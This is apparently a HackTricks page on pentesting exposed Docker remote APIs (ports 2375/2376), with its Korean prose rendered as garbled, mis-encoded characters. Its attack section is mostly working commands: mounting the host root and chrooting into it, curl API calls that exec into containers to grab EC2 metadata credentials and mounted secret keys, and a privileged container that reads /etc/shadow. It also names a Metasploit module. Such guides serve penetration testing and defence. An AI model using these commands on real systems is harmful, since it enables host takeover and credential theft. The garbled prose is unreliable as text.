2375, 2376 Pentesting Docker

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Docker Basics

What is

Docker๋Š” ์ปจํ…Œ์ด๋„ˆํ™” ์‚ฐ์—…์˜ ์ตœ์ „์„  ํ”Œ๋žซํผ์œผ๋กœ, ์ง€์†์ ์ธ ํ˜์‹ ์„ ์„ ๋„ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ „ํ†ต์ ์ธ ๊ฒƒ๋ถ€ํ„ฐ ๋ฏธ๋ž˜์ง€ํ–ฅ์ ์ธ ๊ฒƒ๊นŒ์ง€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์†์‰ฌ์šด ์ƒ์„ฑ ๋ฐ ๋ฐฐํฌ๋ฅผ ์ด‰์ง„ํ•˜๋ฉฐ, ๋‹ค์–‘ํ•œ ํ™˜๊ฒฝ์—์„œ์˜ ์•ˆ์ „ํ•œ ๋ฐฐํฌ๋ฅผ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.

Basic docker architecture

  • containerd: ์ด๋Š” ์ปจํ…Œ์ด๋„ˆ์˜ ๋ผ์ดํ”„์‚ฌ์ดํด์„ ํฌ๊ด„์ ์œผ๋กœ ๊ด€๋ฆฌํ•˜๋Š” ํ•ต์‹ฌ ๋Ÿฐํƒ€์ž„์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” ์ด๋ฏธ์ง€ ์ „์†ก ๋ฐ ์ €์žฅ์„ ์ฒ˜๋ฆฌํ•˜๊ณ , ์ปจํ…Œ์ด๋„ˆ์˜ ์‹คํ–‰, ๋ชจ๋‹ˆํ„ฐ๋ง ๋ฐ ๋„คํŠธ์›Œํ‚น์„ ๊ฐ๋…ํ•˜๋Š” ๊ฒƒ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. containerd์— ๋Œ€ํ•œ ๋” ์ž์„ธํ•œ ํ†ต์ฐฐ์€ ์ถ”๊ฐ€์ ์œผ๋กœ ํƒ๊ตฌ๋ฉ๋‹ˆ๋‹ค.
  • container-shim์€ ํ—ค๋“œ๋ฆฌ์Šค ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐ ์žˆ์–ด ์ค‘๊ฐœ์ž๋กœ์„œ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•˜๋ฉฐ, ์ปจํ…Œ์ด๋„ˆ๊ฐ€ ์ดˆ๊ธฐํ™”๋œ ํ›„ runc์—์„œ ์›ํ™œํ•˜๊ฒŒ ์ธ๊ณ„๋ฐ›์Šต๋‹ˆ๋‹ค.
  • runc: ๊ฒฝ๋Ÿ‰ ๋ฐ ๋ฒ”์šฉ ์ปจํ…Œ์ด๋„ˆ ๋Ÿฐํƒ€์ž„ ๊ธฐ๋Šฅ์œผ๋กœ ์œ ๋ช…ํ•œ runc๋Š” OCI ํ‘œ์ค€์— ๋งž์ถฐ์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” containerd๊ฐ€ OCI ์ง€์นจ์— ๋”ฐ๋ผ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹œ์ž‘ํ•˜๊ณ  ๊ด€๋ฆฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฉฐ, ์›๋ž˜์˜ libcontainer์—์„œ ๋ฐœ์ „ํ•˜์˜€์Šต๋‹ˆ๋‹ค.
  • grpc๋Š” containerd์™€ docker-engine ๊ฐ„์˜ ํ†ต์‹ ์„ ์ด‰์ง„ํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ด๋ฉฐ, ํšจ์œจ์ ์ธ ์ƒํ˜ธ์ž‘์šฉ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.
  • OCI๋Š” ๋Ÿฐํƒ€์ž„ ๋ฐ ์ด๋ฏธ์ง€์— ๋Œ€ํ•œ OCI ์‚ฌ์–‘์„ ์œ ์ง€ํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•˜๋ฉฐ, ์ตœ์‹  Docker ๋ฒ„์ „์€ OCI ์ด๋ฏธ์ง€ ๋ฐ ๋Ÿฐํƒ€์ž„ ํ‘œ์ค€์„ ๋ชจ๋‘ ์ค€์ˆ˜ํ•ฉ๋‹ˆ๋‹ค.

Basic commands

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd๋Š” Docker์™€ Kubernetes์™€ ๊ฐ™์€ ์ปจํ…Œ์ด๋„ˆ ํ”Œ๋žซํผ์˜ ์š”๊ตฌ๋ฅผ ์ถฉ์กฑํ•˜๊ธฐ ์œ„ํ•ด ํŠน๋ณ„ํžˆ ๊ฐœ๋ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” Linux, Windows, Solaris ๋“ฑ ๋‹ค์–‘ํ•œ ์šด์˜ ์ฒด์ œ์—์„œ ์ปจํ…Œ์ด๋„ˆ ์‹คํ–‰์„ ๋‹จ์ˆœํ™”ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•˜๋ฉฐ, ์šด์˜ ์ฒด์ œ๋ณ„ ๊ธฐ๋Šฅ๊ณผ ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ์ถ”์ƒํ™”ํ•ฉ๋‹ˆ๋‹ค. Containerd์˜ ๋ชฉํ‘œ๋Š” ์‚ฌ์šฉ์ž์—๊ฒŒ ํ•„์š”ํ•œ ํ•„์ˆ˜ ๊ธฐ๋Šฅ๋งŒ ํฌํ•จํ•˜๊ณ  ๋ถˆํ•„์š”ํ•œ ๊ตฌ์„ฑ ์š”์†Œ๋Š” ์ƒ๋žตํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ชฉํ‘œ๋ฅผ ์™„์ „ํžˆ ๋‹ฌ์„ฑํ•˜๋Š” ๊ฒƒ์€ ๋„์ „์ ์ธ ๊ฒƒ์œผ๋กœ ์ธ์ •๋ฉ๋‹ˆ๋‹ค.

์ฃผ์š” ์„ค๊ณ„ ๊ฒฐ์ • ์ค‘ ํ•˜๋‚˜๋Š” Containerd๊ฐ€ ๋„คํŠธ์›Œํ‚น์„ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋„คํŠธ์›Œํ‚น์€ ๋ถ„์‚ฐ ์‹œ์Šคํ…œ์—์„œ ์ค‘์š”ํ•œ ์š”์†Œ๋กœ ๊ฐ„์ฃผ๋˜๋ฉฐ, ์†Œํ”„ํŠธ์›จ์–ด ์ •์˜ ๋„คํŠธ์›Œํ‚น(SDN) ๋ฐ ์„œ๋น„์Šค ๋ฐœ๊ฒฌ๊ณผ ๊ฐ™์€ ๋ณต์žก์„ฑ์€ ํ”Œ๋žซํผ๋งˆ๋‹ค ํฌ๊ฒŒ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ Containerd๋Š” ์ง€์›ํ•˜๋Š” ํ”Œ๋žซํผ์ด ๋„คํŠธ์›Œํ‚น ์ธก๋ฉด์„ ๊ด€๋ฆฌํ•˜๋„๋ก ๋‚จ๊ฒจ๋‘ก๋‹ˆ๋‹ค.

Docker๊ฐ€ Containerd๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋™์•ˆ, Containerd๋Š” Docker์˜ ๊ธฐ๋Šฅ ์ค‘ ์ผ๋ถ€๋งŒ ์ง€์›ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ตฌ์ฒด์ ์œผ๋กœ, Containerd๋Š” Docker์— ์žˆ๋Š” ๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ ๊ธฐ๋Šฅ์ด ์—†์œผ๋ฉฐ Docker ์Šค์›œ์„ ์ง์ ‘ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์„ ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ๊ตฌ๋ถ„์€ Containerd๊ฐ€ ์ปจํ…Œ์ด๋„ˆ ๋Ÿฐํƒ€์ž„ ํ™˜๊ฒฝ์œผ๋กœ์„œ์˜ ์ง‘์ค‘๋œ ์—ญํ• ์„ ๊ฐ•์กฐํ•˜๋ฉฐ, ํ†ตํ•ฉํ•˜๋Š” ํ”Œ๋žซํผ์— ๋” ์ „๋ฌธํ™”๋œ ๊ธฐ๋Šฅ์„ ์œ„์ž„ํ•ฉ๋‹ˆ๋‹ค.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman์€ Red Hat์—์„œ ๊ฐœ๋ฐœ ๋ฐ ์œ ์ง€ ๊ด€๋ฆฌํ•˜๋Š” ์˜คํ”ˆ ์†Œ์Šค ์ปจํ…Œ์ด๋„ˆ ์—”์ง„์œผ๋กœ, Open Container Initiative (OCI) standards๋ฅผ ์ค€์ˆ˜ํ•ฉ๋‹ˆ๋‹ค. ๋ฐ๋ชฌ ์—†๋Š” ์•„ํ‚คํ…์ฒ˜์™€ ๋ฃจํŠธ ์—†๋Š” ์ปจํ…Œ์ด๋„ˆ ์ง€์› ๋“ฑ ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ๋…ํŠนํ•œ ๊ธฐ๋Šฅ์œผ๋กœ Docker์™€ ์ฐจ๋ณ„ํ™”๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž๋Š” ๋ฃจํŠธ ๊ถŒํ•œ ์—†์ด ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Podman์€ Docker์˜ API์™€ ํ˜ธํ™˜๋˜๋„๋ก ์„ค๊ณ„๋˜์–ด Docker CLI ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ˜ธํ™˜์„ฑ์€ ์ปจํ…Œ์ด๋„ˆ ์ด๋ฏธ์ง€๋ฅผ ๋นŒ๋“œํ•˜๊ธฐ ์œ„ํ•œ Buildah์™€ ํ‘ธ์‹œ, ํ’€, ๊ฒ€์‚ฌ์™€ ๊ฐ™์€ ์ด๋ฏธ์ง€ ์ž‘์—…์„ ์œ„ํ•œ Skopeo์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ํฌํ•จํ•˜๋Š” ์ƒํƒœ๊ณ„๋กœ ํ™•์žฅ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋„๊ตฌ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ GitHub ํŽ˜์ด์ง€์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฃผ์š” ์ฐจ์ด์ 

  • ์•„ํ‚คํ…์ฒ˜: Docker์˜ ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„ ๋ชจ๋ธ๊ณผ ๋ฐฑ๊ทธ๋ผ์šด๋“œ ๋ฐ๋ชฌ๊ณผ ๋‹ฌ๋ฆฌ, Podman์€ ๋ฐ๋ชฌ ์—†์ด ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์ด ์„ค๊ณ„๋Š” ์ปจํ…Œ์ด๋„ˆ๊ฐ€ ์‹œ์ž‘ํ•˜๋Š” ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋˜๋ฏ€๋กœ ๋ฃจํŠธ ์ ‘๊ทผ์ด ํ•„์š” ์—†์–ด ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•ฉ๋‹ˆ๋‹ค.
  • Systemd ํ†ตํ•ฉ: Podman์€ systemd์™€ ํ†ตํ•ฉ๋˜์–ด ์ปจํ…Œ์ด๋„ˆ๋ฅผ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, systemd ์œ ๋‹›์„ ํ†ตํ•ด ์ปจํ…Œ์ด๋„ˆ ๊ด€๋ฆฌ๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” Docker๊ฐ€ ์ฃผ๋กœ Docker ๋ฐ๋ชฌ ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด systemd๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ๊ณผ ๋Œ€์กฐ์ ์ž…๋‹ˆ๋‹ค.
  • ๋ฃจํŠธ ์—†๋Š” ์ปจํ…Œ์ด๋„ˆ: Podman์˜ ์ค‘์š”ํ•œ ๊ธฐ๋Šฅ์€ ์‹œ์ž‘ํ•˜๋Š” ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์ž…๋‹ˆ๋‹ค. ์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฃจํŠธ ์ ‘๊ทผ์ด ์•„๋‹Œ ์†์ƒ๋œ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ๋งŒ ์–ป๋„๋ก ํ•˜์—ฌ ์ปจํ…Œ์ด๋„ˆ ์นจํ•ด์™€ ๊ด€๋ จ๋œ ์œ„ํ—˜์„ ์ตœ์†Œํ™”ํ•ฉ๋‹ˆ๋‹ค.

Podman์˜ ์ ‘๊ทผ ๋ฐฉ์‹์€ ์‚ฌ์šฉ์ž ๊ถŒํ•œ ๊ด€๋ฆฌ์™€ ๊ธฐ์กด Docker ์›Œํฌํ”Œ๋กœ์šฐ์™€์˜ ํ˜ธํ™˜์„ฑ์„ ๊ฐ•์กฐํ•˜๋ฉฐ Docker์— ๋Œ€ํ•œ ์•ˆ์ „ํ•˜๊ณ  ์œ ์—ฐํ•œ ๋Œ€์•ˆ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Tip

Podman์ด Docker์™€ ๋™์ผํ•œ API๋ฅผ ์ง€์›ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•˜๋ฏ€๋กœ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช…๋ น์„ Podman์—์„œ Docker์™€ ๋™์ผํ•˜๊ฒŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

podman --version
podman info
pdoman images ls
podman ls

๊ธฐ๋ณธ ์ •๋ณด

์›๊ฒฉ API๋Š” ํ™œ์„ฑํ™”๋˜๋ฉด ๊ธฐ๋ณธ์ ์œผ๋กœ 2375 ํฌํŠธ์—์„œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ์ด ์„œ๋น„์Šค๋Š” ์ธ์ฆ์„ ์š”๊ตฌํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ํŠน๊ถŒ์ด ์žˆ๋Š” Docker ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์›๊ฒฉ API๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ํ˜ธ์ŠคํŠธ์˜ / (๋ฃจํŠธ ๋””๋ ‰ํ† ๋ฆฌ)๋ฅผ ์ปจํ…Œ์ด๋„ˆ์— ์—ฐ๊ฒฐํ•˜๊ณ  ํ˜ธ์ŠคํŠธ ํ™˜๊ฒฝ์˜ ํŒŒ์ผ์„ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: 2375

PORT    STATE SERVICE
2375/tcp open  docker

์—ด๊ฑฐ

์ˆ˜๋™

docker API๋ฅผ ์—ด๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด docker ๋ช…๋ น์–ด ๋˜๋Š” curl์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ๋‹ค์Œ ์˜ˆ์™€ ๊ฐ™์ด:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

์›๊ฒฉ docker API์— docker ๋ช…๋ น์–ด๋กœ ์—ฐ๋ฝํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ด์ „์— ์–ธ๊ธ‰๋œ docker ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋น„์Šค์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

export DOCKER_HOST="tcp://localhost:2375"๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ docker ๋ช…๋ น์–ด์™€ ํ•จ๊ป˜ -H ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋น ๋ฅธ ๊ถŒํ•œ ์ƒ์Šน

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

๊ฐ€๋” TLS ์—”๋“œํฌ์ธํŠธ์— 2376์ด ์—ด๋ ค ์žˆ๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. docker ํด๋ผ์ด์–ธํŠธ๋กœ๋Š” ์—ฐ๊ฒฐํ•  ์ˆ˜ ์—†์—ˆ์ง€๋งŒ curl์„ ์‚ฌ์šฉํ•˜์—ฌ ์—ฐ๊ฒฐํ•˜๋Š” ๊ฒƒ์€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

#List containers
curl โ€“insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl โ€“insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl โ€“insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl โ€“insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s โ€“insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl โ€“insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl โ€“insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl โ€“insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, itโ€™s also worth checking out services in case they are adding secrets via environment variables)
curl -s โ€“insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl โ€“insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl โ€“insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl โ€“insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl โ€“insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl โ€“insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl โ€“insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

์ด์™€ ๊ด€๋ จํ•˜์—ฌ ๋” ๋งŽ์€ ์ •๋ณด๊ฐ€ ํ•„์š”ํ•˜๋ฉด, ์ œ๊ฐ€ ๋ช…๋ น์–ด๋ฅผ ๋ณต์‚ฌํ•œ ๊ณณ์—์„œ ๋” ๋งŽ์€ ์ •๋ณด๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

์ž๋™

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromising

๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ๋„์ปค ์ปจํ…Œ์ด๋„ˆ์—์„œ ํƒˆ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Docker Security

์ด๋ฅผ ์•…์šฉํ•˜๋ฉด ์ปจํ…Œ์ด๋„ˆ์—์„œ ํƒˆ์ถœํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์›๊ฒฉ ๋จธ์‹ ์—์„œ ์•ฝํ•œ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹คํ–‰ํ•˜๊ณ , ๊ทธ๋กœ๋ถ€ํ„ฐ ํƒˆ์ถœํ•˜์—ฌ ๋จธ์‹ ์„ ํƒ€ํ˜‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

๊ถŒํ•œ ์ƒ์Šน

docker๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ํ˜ธ์ŠคํŠธ ๋‚ด๋ถ€์— ์žˆ๋Š” ๊ฒฝ์šฐ, ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์ด ์ •๋ณด๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”.

์‹คํ–‰ ์ค‘์ธ Docker ์ปจํ…Œ์ด๋„ˆ์—์„œ ๋น„๋ฐ€ ๋ฐœ๊ฒฌํ•˜๊ธฐ

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

env (ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์„น์…˜)์—์„œ ๋น„๋ฐ€์„ ํ™•์ธํ•˜๋ฉด ๋‹ค์Œ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ๋น„๋ฐ€๋ฒˆํ˜ธ.
  • IP.
  • ํฌํŠธ.
  • ๊ฒฝ๋กœ.
  • ๊ธฐํƒ€โ€ฆ .

ํŒŒ์ผ์„ ์ถ”์ถœํ•˜๋ ค๋ฉด:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Docker ๋ณด์•ˆ

Docker ์„ค์น˜ ๋ฐ ์‚ฌ์šฉ ๋ณด์•ˆ

  • ํ˜„์žฌ Docker ์„ค์น˜๋ฅผ ๊ฒ€์‚ฌํ•˜๊ธฐ ์œ„ํ•ด ๋„๊ตฌ https://github.com/docker/docker-bench-security๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ./docker-bench-security.sh
  • ํ˜„์žฌ Docker ์„ค์น˜๋ฅผ ๊ฒ€์‚ฌํ•˜๊ธฐ ์œ„ํ•ด ๋„๊ตฌ https://github.com/kost/dockscan์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • dockscan -v unix:///var/run/docker.sock
  • ๋‹ค์–‘ํ•œ ๋ณด์•ˆ ์˜ต์…˜์œผ๋กœ ์‹คํ–‰ํ•  ๋•Œ ์ปจํ…Œ์ด๋„ˆ๊ฐ€ ๊ฐ€์งˆ ๊ถŒํ•œ์„ ๊ฒ€์‚ฌํ•˜๊ธฐ ์œ„ํ•ด ๋„๊ตฌ https://github.com/genuinetools/amicontained์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์ผ๋ถ€ ๋ณด์•ˆ ์˜ต์…˜์„ ์‚ฌ์šฉํ•  ๋•Œ์˜ ์˜ํ–ฅ์„ ์•„๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Docker ์ด๋ฏธ์ง€ ๋ณด์•ˆ

